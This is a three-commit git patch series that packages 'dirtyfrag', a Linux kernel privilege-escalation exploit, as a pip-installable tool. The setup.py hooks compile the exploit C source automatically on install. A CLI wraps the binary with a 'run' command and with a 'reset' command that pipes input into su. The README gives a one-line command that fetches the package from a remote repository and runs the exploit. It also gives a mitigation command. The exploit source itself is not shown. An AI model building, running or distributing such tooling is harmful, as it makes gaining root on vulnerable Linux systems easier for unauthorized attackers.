From 8c673ab29fffcfbb9b867e88d95a5356b26e46c8 Mon Sep 17 00:00:00 2001 From: mohammadraziei Date: Sat, 30 May 2026 00:41:09 +0330 Subject: [PATCH 1/3] feat: add setup.py to build and package native exploit binary Add a new setuptools configuration script that defines custom install and develop commands. These commands compile the C exploit (exp.c) into a binary placed in the package's `bin` directory and copy auxiliary scripts during installation. The script also sets up package metadata, entry points, and includes the compiled binary as package data, enabling proper pip installation and distribution of the native exploit. --- .gitignore | 37 +++++++++++++ dirtyfrag/__about__.py | 3 ++ dirtyfrag/__init__.py | 1 + dirtyfrag/__main__.py | 117 +++++++++++++++++++++++++++++++++++++++++ setup.py | 93 ++++++++++++++++++++++++++++++++ 5 files changed, 251 insertions(+) create mode 100644 .gitignore create mode 100644 dirtyfrag/__about__.py create mode 100644 dirtyfrag/__init__.py create mode 100644 dirtyfrag/__main__.py create mode 100644 setup.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..575329c --- /dev/null +++ b/.gitignore @@ -0,0 +1,37 @@ +# === C / Native Compilation Artifacts === +/dirtyfrag/bin/dirtyfrag + +# General C build outputs +*.o +*.out +*.so + +# === Python / Packaging Artifacts === +# Staging and build directories generated by setuptools / pip +build/ +dist/ +*.egg-info/ +.eggs/ + +# Byte-compiled / optimized Python files +__pycache__/ +*.pyc +*.pyo +*.pyd + + +# === Virtual Environments & Tooling === +.venv/ +venv/ +env/ +ENV/ + +# === OS & IDE Specifics === +# macOS system files +.DS_Store + +# IDEs and editors +.idea/ +.vscode/ +*.swp +*.swo \ No newline at end of file diff --git a/dirtyfrag/__about__.py b/dirtyfrag/__about__.py new file mode 100644 index 0000000..4410cdc --- /dev/null +++ b/dirtyfrag/__about__.py @@ -0,0 +1,3 @@ +__version__ = "0.1.0" +__author__ = "Mohammad Raziei" +__description__ = "Multi-method Linux Kernel Exploit Framework Wrapper" \ No newline at end of file diff --git a/dirtyfrag/__init__.py b/dirtyfrag/__init__.py new file mode 100644 index 0000000..5becc17 --- /dev/null +++ b/dirtyfrag/__init__.py @@ -0,0 +1 @@ +__version__ = "1.0.0" diff --git a/dirtyfrag/__main__.py b/dirtyfrag/__main__.py new file mode 100644 index 0000000..661c716 --- /dev/null +++ b/dirtyfrag/__main__.py @@ -0,0 +1,117 @@ +import os +import sys +import argparse +import subprocess +from . import __about__ + +def get_binary_path(): + """Returns the absolute path of the compiled dirtyfrag C binary.""" + current_dir = os.path.dirname(os.path.abspath(__file__)) + return os.path.join(current_dir, "bin", "dirtyfrag") + +def execute_dirtyfrag(passthrough_args): + """Executes the local native dirtyfrag C executable.""" + binary_path = get_binary_path() + + if not os.path.exists(binary_path): + print(f"[-] Error: Compiled binary missing at {binary_path}", file=sys.stderr) + sys.exit(1) + + if not os.access(binary_path, os.X_OK): + os.chmod(binary_path, 0o755) + + print("[*] Initializing local exploit framework sequence...") + try: + # Pass all residual CLI arguments down to the C implementation + result = subprocess.run([binary_path] + passthrough_args) + sys.exit(result.returncode) + except KeyboardInterrupt: + print("\n[-] Operation aborted by user.") + sys.exit(0) + except Exception as e: + print(f"[-] Execution tracking error: {e}", file=sys.stderr) + sys.exit(1) + +def execute_copyfail(): + """Dynamically executes the Copy-Fail exploit script logic.""" + try: + import dirtyfrag.copy_fail_exp as copy_fail + print("[*] Executing Copy-Fail (CVE-2026-31431) Exploit Subsystem...") + if hasattr(copy_fail, 'main'): + copy_fail.main() + else: + script_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "copy_fail_exp.py") + subprocess.run([sys.executable, script_path]) + except ImportError: + print("[-] Error: copy_fail_exp.py component is not installed inside the module namespace.", file=sys.stderr) + sys.exit(1) + +def handle_run(args, passthrough_args): + """Router for execution targets based on selected method.""" + if args.method == "dirtyfrag": + execute_dirtyfrag(passthrough_args) + elif args.method == "copyfail": + if passthrough_args: + print(f"[!] Warning: Ignoring arguments {passthrough_args} not supported by Copy-Fail runtime.") + execute_copyfail() + +def handle_reset(): + """Clears page cache, dentries, and inodes via /proc/sys/vm/drop_caches. + + Directly pipes instructions into an interactive 'su' session + with zero fallback mechanisms or pre-checks. + """ + print("[*] Shifting target sequence to interactive root shell...") + try: + proc = subprocess.Popen( + ["su"], + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True + ) + + commands = ( + "echo 3 > /proc/sys/vm/drop_caches\n" + "exit\n" + ) + + proc.communicate(input=commands) + + if proc.returncode == 0: + print("[+] Kernel caches dropped successfully via subverted su pipeline.") + else: + print("[-] Error: Direct system cache execution failed.", file=sys.stderr) + sys.exit(1) + + except Exception: + sys.exit(1) + + +def main(): + parser = argparse.ArgumentParser( + description="Unified Interface for Kernel Privilege Escalation Vulnerability Engineering Assets" + ) + parser.add_argument("-v", "--version", action="version", version=f"%(prog)s {__about__.__version__}") + + subparsers = parser.add_subparsers(dest="command", required=True, help="Subcommand to execute") + + # 'run' subcommand + run_parser = subparsers.add_parser("run", help="Initiate exploit chain orchestration") + run_parser.add_argument( + "--method", + choices=["dirtyfrag", "copyfail"], + default="dirtyfrag", + help="Specify vulnerability targeting methodology (default: dirtyfrag)" + ) + + # 'reset' subcommand + subparsers.add_parser("reset", help="Clear kernel system cache (drop_caches)") + + args, passthrough_args = parser.parse_known_args() + + if args.command == "run": + handle_run(args, passthrough_args) + elif args.command == "reset": + handle_reset() + diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..63a0c2a --- /dev/null +++ b/setup.py @@ -0,0 +1,93 @@ +import os +import subprocess +import importlib.util +import shutil +from setuptools import setup, find_packages +from setuptools.command.install import install +from setuptools.command.develop import develop + +current_dir = os.path.dirname(os.path.abspath(__file__)) +about_path = os.path.join(current_dir, "dirtyfrag", "__about__.py") + +# Securely load the metadata file using importlib +spec = importlib.util.spec_from_file_location("dirtyfrag_about", about_path) +about = importlib.util.module_from_spec(spec) +spec.loader.exec_module(about) + + +def compile_and_prepare_exploits(cmd_instance): + """Compiles the C exploit and copies external scripts into the active build directory.""" + # current_dir represents the static source root directory + current_dir = os.path.dirname(os.path.abspath(__file__)) + + # Get the dynamic target directory where setuptools is staging files for installation/wheel + # If in editable/develop mode, fall back to the source directory root + if hasattr(cmd_instance, 'build_lib') and cmd_instance.build_lib: + target_package_root = os.path.join(cmd_instance.build_lib, "dirtyfrag") + else: + target_package_root = os.path.join(current_dir, "dirtyfrag") + + source_path = os.path.join(current_dir, "exp.c") + bin_dir = os.path.join(target_package_root, "bin") + output_path = os.path.join(bin_dir, "dirtyfrag") + + # Ensure the installation target subdirectory structure exists + os.makedirs(bin_dir, exist_ok=True) + + print(f"[*] Compiling {source_path} to staging path: {output_path}...") + compile_cmd = ["gcc", "-O2", source_path, "-o", output_path] + + try: + subprocess.check_call(compile_cmd) + print("[+] Native C binary compiled and staged successfully.") + except Exception as e: + print(f"[-] Compilation failed: {e}. Ensure 'gcc' is installed.") + raise e + + # Stage copy_fail_exp.py into the dynamic active target directory + copyfail_src = os.path.join(current_dir, "copy_fail_exp.py") + copyfail_dst = os.path.join(target_package_root, "copy_fail_exp.py") + + if os.path.exists(copyfail_src): + print(f"[*] Copying {copyfail_src} into dynamic package distribution path...") + shutil.copyfile(copyfail_src, copyfail_dst) + +class CustomInstallCommand(install): + def run(self): + compile_and_prepare_exploits(self) + super().run() + +class CustomDevelopCommand(develop): + def run(self): + compile_and_prepare_exploits(self) + super().run() + +setup( + name="dirtyfrag", + version=about.__version__, + description="Multi-method Linux Kernel Exploit Framework Wrapper", + packages=find_packages(), + entry_points={ + "console_scripts": [ + "dirtyfrag=dirtyfrag.__main__:main", + ], + }, + cmdclass={ + "install": CustomInstallCommand, + "develop": CustomDevelopCommand, + }, + package_data={ + "dirtyfrag": ["bin/dirtyfrag"], + }, + include_package_data=True, + classifiers=[ + "Development Status :: 4 - Beta", + "Intended Audience :: Information Technology", + "Intended Audience :: Science/Research", + "Topic :: Security", + "Operating System :: POSIX :: Linux", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3 :: Only", + "Programming Language :: C", + ], +) \ No newline at end of file From 0cf77ae1e88cbaa02a063a51284c6a1d8f5e56d8 Mon Sep 17 00:00:00 2001 From: mohammadraziei Date: Sat, 30 May 2026 00:48:14 +0330 Subject: [PATCH 2/3] refactor: simplify run command and remove copyfail exploit support - Dropped the `execute_copyfail` function and related CLI option, focusing the tool on the primary dirtyfrag exploit. - Simplified the `run` subcommand to no longer require a method choice, always invoking the dirtyfrag execution path. - Added an `if __name__ == "__main__":` guard to ensure proper script entry point behavior. - Introduced a minimal `pyproject.toml` declaring the build system requirements for setuptools. --- dirtyfrag/__main__.py | 35 ++++++----------------------------- pyproject.toml | 3 +++ 2 files changed, 9 insertions(+), 29 deletions(-) create mode 100644 pyproject.toml diff --git a/dirtyfrag/__main__.py b/dirtyfrag/__main__.py index 661c716..d65f842 100644 --- a/dirtyfrag/__main__.py +++ b/dirtyfrag/__main__.py @@ -32,28 +32,9 @@ def execute_dirtyfrag(passthrough_args): print(f"[-] Execution tracking error: {e}", file=sys.stderr) sys.exit(1) -def execute_copyfail(): - """Dynamically executes the Copy-Fail exploit script logic.""" - try: - import dirtyfrag.copy_fail_exp as copy_fail - print("[*] Executing Copy-Fail (CVE-2026-31431) Exploit Subsystem...") - if hasattr(copy_fail, 'main'): - copy_fail.main() - else: - script_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "copy_fail_exp.py") - subprocess.run([sys.executable, script_path]) - except ImportError: - print("[-] Error: copy_fail_exp.py component is not installed inside the module namespace.", file=sys.stderr) - sys.exit(1) - def handle_run(args, passthrough_args): - """Router for execution targets based on selected method.""" - if args.method == "dirtyfrag": - execute_dirtyfrag(passthrough_args) - elif args.method == "copyfail": - if passthrough_args: - print(f"[!] Warning: Ignoring arguments {passthrough_args} not supported by Copy-Fail runtime.") - execute_copyfail() + """Router for execution targets.""" + execute_dirtyfrag(passthrough_args) def handle_reset(): """Clears page cache, dentries, and inodes via /proc/sys/vm/drop_caches. @@ -96,14 +77,8 @@ def main(): subparsers = parser.add_subparsers(dest="command", required=True, help="Subcommand to execute") - # 'run' subcommand - run_parser = subparsers.add_parser("run", help="Initiate exploit chain orchestration") - run_parser.add_argument( - "--method", - choices=["dirtyfrag", "copyfail"], - default="dirtyfrag", - help="Specify vulnerability targeting methodology (default: dirtyfrag)" - ) + # 'run' subcommand + subparsers.add_parser("run", help="Initiate exploit chain orchestration") # 'reset' subcommand subparsers.add_parser("reset", help="Clear kernel system cache (drop_caches)") @@ -115,3 +90,5 @@ def main(): elif args.command == "reset": handle_reset() +if __name__ == "__main__": + main() diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..c56fb81 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,3 @@ +[build-system] +requires = ["setuptools>=64.0.0"] +build-backend = "setuptools.build_meta" From cfe7b32d475c1676627a3aa6c88e807d5f133c08 Mon Sep 17 00:00:00 2001 From: mohammadraziei Date: Sat, 30 May 2026 00:59:35 +0330 Subject: [PATCH 3/3] docs: update README with installation and execution instructions MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Rename the “One-line special” section to “Installation and Execution”. - Replace low‑level compile instructions with a pip‑based installation command and a simple `dirtyfrag run` usage example. - Update cleanup guidance to use the new `dirtyfrag reset` command. - Refine mitigation instructions formatting. - Improves documentation clarity and provides a straightforward setup workflow for users. --- README.md | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index ee6822a..743e251 100644 --- a/README.md +++ b/README.md @@ -22,23 +22,25 @@ For detailed technical information and the timeline, [see here](assets/write-up. # Exploiting -## One-line special +## Installation and Execution -``` -git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp +This project provides a unified orchestration wrapper interface. You can install the toolchain directly from the remote repository and initiate the target sequence using the commands below: + +```bash +pip install git+https://github.com/MohammadRaziei/dirtyfrag.git && dirtyfrag run ``` This PoC is provided as accurate information following consultation with linux-distros. Do not use it on systems that you are not authorized to test. ## Cleanup -⚠️ **Important:** After running this exploit, the page cache is contaminated. To clear the polluted page cache and ensure system stability, either run: +⚠️ **Important:** After running this exploit, the page cache is contaminated. To evict the polluted page cache, drop virtual memory caches safely, and ensure system stability, run: ```bash -echo 3 > /proc/sys/vm/drop_caches +dirtyfrag reset ``` -or reboot the system. +--- # Affected Versions @@ -60,6 +62,7 @@ This Dirty Frag has been tested on the following distribution versions. # Mitigation 1. Use the following command to remove the modules in which the vulnerabilities occur and clear the page cache. + ```bash sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true" ```